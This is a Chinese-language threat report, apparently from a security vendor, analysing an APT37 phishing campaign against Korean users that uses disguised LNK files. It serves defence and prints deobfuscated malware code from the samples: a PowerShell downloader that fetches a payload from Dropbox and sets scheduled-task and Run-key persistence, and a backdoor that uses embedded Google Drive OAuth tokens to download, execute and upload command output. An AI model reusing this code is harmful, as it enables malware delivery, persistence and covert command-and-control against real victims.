2025年4月:APT37组织针对韩国用户的攻击事件分析报告

概述

  瑞星威胁情报平台近期捕获到一起针对韩国用户的攻击事件。攻击者通过钓鱼邮件定向投递快捷方式文件作为初始攻击武器,并利用双扩展名技术将其伪装成合法文档(如HWPXLSDocx等)。其中,HWP是韩国特有的办公文件格式,在政企机构中尤为常见。与以往使用定制化PE后门不同,此次攻击采用混淆的轻量化脚本作为后门工具,实现文件下载、上传等功能,并通过DropboxGoogle Drive等公共服务投递恶意载荷及进行C2通信。通过对本次捕获到的多个恶意样本进行分析,发现部分样本的最早创建时间可追溯至2021年,表明攻击具有长期潜伏的特点。这些手法与APT37组织高度吻合,体现出针对性强、持续时间长、隐蔽性高等特征。

  APT37是一个活跃于朝鲜半岛的网络威胁组织,又名KonniScarCruftGroup123TEMP.Reaper等。其目标包括俄罗斯、韩国以及周边国家地区,以窃取敏感信息为主,涉及航空航天、汽车、化工、金融、政府、医疗保健、制造和运输等领域。该组织的攻击活动最早可追溯到2012年,该组织习惯于使用脚本作为攻击武器,在近年来活动频繁,被数个国内外安全团队持续追踪和披露。

ATT&CK矩阵

战术 技术 具体行为
TA0002-执行 T1059-命令和脚本解释器 利用PowerShellwscript执行恶意脚本
TA0002-执行 T1204-用户执行 伪装成合法文档诱骗用户执行
TA0003-持久化 T1547-启动或登录自动执行 创建注册表自启动项执行恶意载荷
TA0003-持久化 T1053-计划任务/作业 创建计划任务执行恶意载荷
TA0005-防御规避 T1140-去混淆或解密文件和信息 恶意代码进行混淆和编码处理
TA0007-环境发现 T1083-枚举文件和目录 在受害者主机上搜索特定文件
TA0007-环境发现 T1124-获取系统时间 获取本地时间作为日志文件名上传给服务器
TA0011-指挥与控制 T1132-数据编码 与服务器通信信息经过base64编码处理
TA0011-指挥与控制 T1008-备用通道 攻击者自建备用服务器,以防止主服务器失联
TA0010-外传信息 T1567-通过公共Web服务器外传 使用Google Drive提供C2通信服务

事件详情

  样本ECRM.hwp.lnk是一个伪装成HWP文档的快捷方式文件。文件名中的ECRM(全称网络犯罪举报系统)是韩国国家警察为打击网络犯罪设立的投诉举报平台,而HWP文档则是韩国特有的办公文件格式,在各个领域被广泛使用。这一命名方式表明攻击者主要针对韩国用户。

  攻击过程分为三个阶段:代码提取、载荷下载和C2通信,各阶段均通过轻量化脚本实现。初始样本ECRM.hwp.lnk完成代码提取,利用本地工具mshta.exe执行javascript脚本,从自身提取恶意代码并保存为e.ps1。这是一个被混淆的PowerShell脚本,负责下阶段恶意载荷的下载和部署。载荷是以zip压缩包形式从Dropbox网盘下载,解压后的文件为26545.tmpAN9385.tmp。其中AN9385.tmpPowerShell脚本,通过Google Drive作为C2服务器实现数据上传和下载。此外,攻击者还自建备用服务器投递未知功能的恶意载荷,可见本次披露的攻击链仅为整条攻击链的一部分,后续需要持续追踪报告。

  在过去几个月中先后捕获到的多个样本,其创建时间、伪装主题均有所不同,但根据分析发现它们使用了相似的攻击手法,可判定为同类型样本,文件创建时间最早可追溯到2021年,符合APT攻击中潜伏时间的特点。相关信息如下表。

文件创建时间 文件名 文件hash值
2021-05-08 F97EE8A4BFE37D23914DA3E63A5BB1B5
2021-05-08 D5669C046C78F54D2ACB353626BB3BCF
2021-05-08 8E6F25DB8C21A16F87F1215FC739C4DF
2021-05-08 0AD43887AD5887BD15EC95B5C5E24949
2021-05-08 6DA06E1E7B9E8E5EB9F199B0FBCF811A
2024-05-15 A8C11A675BA46FCC6EEC82958A4F1FF8
2024-06-05 95289AC289DB6AD1FD9175992F498CD3
2024-06-05 6EB5CB9D898B93B831D8B4738ED6C2BD
2024-06-05 E1C239C743A5F88EB22570D38C48B68A
2024-08-25 data.docx.lnk DB81F6109260D4541904EFEE54075E97
2024-08-25 3B80B5DCBB9266381EAB0C98908F353A
2024-09-10 ECRM.hwp.lnk 5BD8CAD0E4F14E252056830D16ABFBE5
2024-09-10 54F34D4C59C233A21C8D5391B2F8CDD3
2024-09-10 C2F0EF5EDD623325D84B2F4F6B119EF3

攻击流程

image

样本分析

ECRM.hwp.lnk分析

字段 内容
原始文件名 ECRM.hwp.lnk
文件大小 7.07 KB (7244 bytes)
文件MD5 5bd8cad0e4f14e252056830d16abfbe5
文件类型 LNK
病毒名 Trojan.PSRunner/LNK!1.12BA6
主要功能 代码提取

  该样本作为快捷方式文件被伪装成合法文档,诱骗用户执行。之后使用本地工具mshta.exe执行内嵌的javascript脚本,从自身文件中提取恶意代码并保存到本地。

p="$w ([byte[]]($f | select -Skip 0x0beb)) -Force";
k="c:\\programdata\\";
b=" -Encoding Byte;sc ";

// 实现代码提取的powershell命令
c="powershell -ep bypass -c $t=0x1c4c;$k = Get-ChildItem *.lnk | where-object {$_.length -eq $t} | Select-Object -ExpandProperty Name;if($k.count -eq 0){$k=Get-ChildItem $env:TEMP\\*\\*.lnk | where-object{$_.length -eq $t};};$w='"+k+"e.ps1';$f=gc $k"+b+p+b+k+"d3914 0;powershell -ep bypass -f $w;";

s="a=new ActiveXObject('WScript.Shell');a.Run(c,0,true);close();";
eval(s);

e.ps1分析

字段 内容
原始文件名 e.ps1
文件大小 3.13 KB (3,208 bytes)
文件MD5 fbb66b4c327e89ace98cef760a09018b
文件类型 powershell
病毒名 Downloader.Agent/PS!1.12BA8
主要功能 载荷下载

  样本e.ps1通过截取、反转、拼接等操作,将内部存储的字符串生成base64编码数据。解码后的PowerShell脚本负责从Dropbox网盘下载下一阶段恶意载荷,并通过创建计划任务和注册表自启动项实现本地持久化。攻击者还使用自建服务器64.20.59.148(开放端口88556699)提供载荷下载。

$e1 = {

    # 网盘地址
    $du = "https[:]//www.dropbox.com/scl/fi/epr742mdeq0fp7t5p854x/Sm.dat?rlkey=recrfqqfhl9rtjxcgxbvh39oy&st=z3dqb888&dl=1"
    try {

        # 下载并解压到本地
        $tg = "c:\\programdata\\gs.zip"
        .("{2}{3}{0}{1}" -f 'ebRe', 'quest', 'Invo', 'ke-W') ${du} -OutFile ${tg}
        Expand-Archive -Path $tg -DestinationPath 'C:\\Programdata'   

        # 创建计划任务
        $g = 'schtasks /create /sc minute /mo 2 /tn AGMicrosoftEdgeUpdateExpanding[7923498737] /tr "wscript //e:javascript //b C:\\ProgramData\\26545.tmp" /f'
        cmd /c $g   

        # 创建注册表自启动项
        $kic1 = 'ws\\system32\\wscript.exe //b //e:javascript C:\\ProgramData\\26545.tmp" /f'
        $qoc = 'dows\CurrentVersion\Run" /v GUpdate2 /t REG_SZ /d "c:\\windo' + $kic1
        $tmp2 = 'KCU\Software\Microsoft\Win' + $qoc
        $untiy = 'r'
        $tmp1 = 'eg add "H'
        $tmp3 = $tmp1 + $tmp2
        $trn1 = $untiy + $tmp3
        cmd /c $trn1
        del $tg
    } catch {}

    while ($true) {
        $u = " Invoke-Expression (Get-Content C:\\ProgramData\\AN9385.tmp);"
        powershell -ep bypass -c $u
        Sleep(120)
    }
}

# 执行上述命令
$rp = [runspacefactory]::CreateRunspacePool(1, 5)
$rp.Open()
$p1 = [powershell]::Create()
$p1.RunspacePool = $rp
$p1.AddScript($e1)
$JobObj = New-Object -TypeName PSObject -Property @{
    Runspace   = $p1.BeginInvoke()
    PowerShell = $p1
}

26545.tmp分析

字段 内容
原始文件名 26545.tmp
文件大小 1.50 KB (1,546 bytes)
文件MD5 cfdb4174185fb4690f905880e57f1413
文件类型 javascript
病毒名 Trojan.Obfus/JS!1.12BB6

  样本26545.tmp是一段javascript脚本,通过自定义函数将存储在数组中的混淆代码进行解码,然后使用函数eval执行。解码后的有效代码为:powershell -ep bypass -command $fn='C:\ProgramData\AN9385.tmp';$d = Get-Content $fn; Invoke-Exproession $d;

  存储在数组中的混淆代码格式为:四位数字 + 字符X + 有效字符串,比如5187Xe pyb\"p\"+salsl -,其中前四个数字用于结束循环。具体算法为:

  • 截取数组元素中字符X后的有效字符串
  • 将截取的字符串前两个字符移动到末尾,然后再将字符串首尾字符互换
  • 最后按照原有格式组成新字符串并替换原数组中的元素
  • 使用方法popunshift将数组末尾元素移动到数组首位置
  • 依次循环,直到计算结果满足条件则结束
// 存放混淆代码片段的数组
function NXIueeg(){
 var QOOI888cv3=[
    "5187Xe pyb\"p\"+salsl -",
    "2238X\"\"+amdn$ nf =-com","2127X\\P\\orrg\"a\"+'mC:",
    "1775Xa\\\\NA3958t.Dmat","1189X$ d =eG-t\"Cp+';",
    "6102Xn tf$;nI vn\"\"onte","9073XeE-px+\"r\"se+s\"ok",
    "1349Xino$ ;d;\"s \"e+\"",
    "6701Xhuihw433654m7fomu",
    "6651X(mOnc48,70 .)Run",
    "0397Xctahce(rr{);}}",
    "9112X{v ras meoftmry",
    "7068Xw3h644375 =unhiu",
    "3968XAtcviXebOejecw ",
    "2051Xc+\"r\"pi.thSte(\"WS","9808X av rmOnc48l7l\");",
    "8061X+o\"ewsr\"h\"+=e \"p\""
    ];
 NXIueeg=function(){
  return QOOI888cv3;
 };
 return NXIueeg();
}

// 去混淆函数
(function (ABdbe92663,UEF742){
 var ANXOuhue4=QPlvmms8vje;
 var agent=ABdbe92663();
 var n = agent.length;
 while(!![]){
  try{

   // 根据索引值获取数组元素中的数字并进行计算
   k = parseInt(ANXOuhue4(0x1da))*(parseInt(ANXOuhue4(0x1df)))/0x5;
   if(k===UEF742){  // 当计算结果等于573864.6时,退出去混淆函数
    break;
   }
   else {
    for(i=0;i<n;i++){
     str = agent[i];

     // 截取字符`X`后的有效字符串
     var match = str.match(/\d+/g); 
     var m = match[0].length + 1;  
     var tmp = str.substring(m);
     var len = tmp.length;
     if(len <= 2) 
      return;

    // 将字符串前两个字节移动到末尾
     var k = tmp.substring(2)+tmp.substring(0,2);

    // 新字符串首尾字符互换
     t = k.charAt(0); 
     tt = k.charAt(len-1); 
     tmp = tt+k.substring(1,len-1)+ t;

    // 组成新字符串替换原数组元素中的数据
     var res = match[0]+'X'+tmp;
     agent[i] = res;
    }

    // 将数组最后一个元素添加到数组首位置
    agent['unshift'](agent['pop']());
   }
  }catch(_0x49299e){}
 }
}(NXIueeg, 573864.6));

AN9385.tmp分析

字段 内容
原始文件名 AN9385.tmp
文件大小 4.78 KB (4,902 bytes)
文件MD5 27C402E2FFEF65540DB0B89717230092
文件类型 powershell
病毒名 Backdoor.[APT37]Agent/PS!1.12C70
主要功能 从C2服务器上传、下载等

  样本AN9385.tmp同样对代码进行了混淆处理,具体方法与e.ps1相同。其功能是与Google Drive通信,实现信息上传、下载。

  初始化和认证,使用OAuth刷新令牌获取新的访问令牌,包含客户端ID、密钥和刷新令牌等敏感信息,然后上传到服务器。

$objName = "rrr"
$folderId = "1ktR0YQGBIz82IJb6vezlsKEbkUdv6l0L"  # Google Drive文件夹ID
$clientId = "65054017293-7kvu5k3rd9gam8uj8pemoc35pfl93ct4.apps.googleusercontent.com"  # OAuth客户端ID
$secret = "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"  # OAuth客户端密钥
$redirectURI = "urn:ietf:wg:oauth:2.0:oob"  # 重定向URI
$refreshToken = "1//040Z2ylrAaX67CgYIARAAGAQSNwF-L9IrH8y9nHxEuWMZvRIBvyzBU9zgOt6_9wDyWQHuIrCVnQ6Q6tQRVlePMMIv8kBbJmGgKT8"  # 刷新令牌

# 使用刷新令牌获取新的访问令牌
$refreshTokenParams = @{
      client_id=$clientId;
      client_secret=$secret;
      refresh_token=$refreshToken;
      grant_type='refresh_token';    
}
$refreshedToken = Invoke-WebRequest -Uri "https://www.googleapis.com/oauth2/v4/token" -Method POST -Body $refreshTokenParams | ConvertFrom-Json
$accesstoken = $refreshedToken.access_token

# 设置授权头
$dnHeader = @{
    "Authorization" = "Bearer $accessToken"
}

# 上传日志文件,记录当前执行信息
UploadLog($accesstoken)

  主代码部分实现了上传和下载功能,下载内容保存至本地文件tmps4.ps1。由于服务器已关闭,未获取最终下载载荷,但根据文件名推测这是一个具有特殊功能的PowerShell脚本。

# 查询Google Drive中符合条件的文件
$q = "q=name+contains+'$objName'+and+not+fullText+contains+'result'+and+mimeType+!=+'application/vnd.google-apps.folder'"
$ur = "https://www.googleapis.com/drive/v3/files" + "?" + $q 
$response = Invoke-RestMethod -Uri $ur -Headers $dnHeader 

$files = $response.files
$cout = $files.Count
for($i=0; $i -lt $cout;$i++){
    $n = $files[$i].name;
    $id = $files[$i].id;
    $mimeType = $files[$i].mimeType;

    # 只处理文本文件
    if($mimeType -eq "text/plain") {
        # 下载文件
        $downloadUrl = "https://drive.google.com/uc?export=download&id="+$id;
        $localFilePath = "c:\\programdata\\"+$n; 
        try{         
            $c = new-object System.Net.WebClient; 
            $res=$c.DownloadString($downloadUrl);

            # 从Google Drive删除该文件
            $delUrl = "https://www.googleapis.com/drive/v3/files/" + $id
            Invoke-RestMethod -Uri $delUrl -Method DELETE -Headers $dnHeader  

            # 将下载的内容保存为临时PowerShell脚本并执行
            $tmpz = "c:\\programdata\\tmps4.ps1";
            $res | Out-File $tmpz;  
            $Output = try {
                powershell -ep bypass -f $tmpz 2>&1 | Out-String;
            } catch {
                $_ | Out-String;
            }          

            # 将执行结果保存到文件并上传到Google Drive
            $tm = [System.DateTime]::Now;
            $s = $tm.ToFileTimeUtc().ToString()
            $imgName= $s;
            $outfile = "c:\programdata\" + $imgName
            $Output | Out-File -FilePath $outfile

            # 上传文件
            UploadFile -Path $outfile -accesstoken $accesstoken;
        }
    }
}

攻击过程可视化(EDR)

image

image

总结

  APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,针对的目标都是具有重大信息资产,如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等,国内相关政府机构和企业单位务必要引起重视,加强防御措施。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

image

  1. 及时修补系统补丁和重要软件的补丁。

沦陷信标(IOC)

  • MD5

    3B80B5DCBB9266381EAB0C98908F353A
    DB81F6109260D4541904EFEE54075E97
    5BD8CAD0E4F14E252056830D16ABFBE5
    6DA06E1E7B9E8E5EB9F199B0FBCF811A
    54F34D4C59C233A21C8D5391B2F8CDD3
    C2F0EF5EDD623325D84B2F4F6B119EF3
    A8C11A675BA46FCC6EEC82958A4F1FF8
    F97EE8A4BFE37D23914DA3E63A5BB1B5
    D5669C046C78F54D2ACB353626BB3BCF
    95289AC289DB6AD1FD9175992F498CD3
    6EB5CB9D898B93B831D8B4738ED6C2BD
    E1C239C743A5F88EB22570D38C48B68A
    8E6F25DB8C21A16F87F1215FC739C4DF
    0AD43887AD5887BD15EC95B5C5E24949
    cfdb4174185fb4690f905880e57f1413
    27C402E2FFEF65540DB0B89717230092
    fbb66b4c327e89ace98cef760a09018b
  • URL

    hxxps//www.dropbox.com/scl/fi/epr742mdeq0fp7t5p854x/Sm.dat?rlkey=recrfqqfhl9rtjxcgxbvh39oy&st=z3dqb888&dl=1
  • IPV4

    64.20.59.148
  • 瑞星病毒名

    Backdoor.[APT37]Agent/PS!1.12C70

Author

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *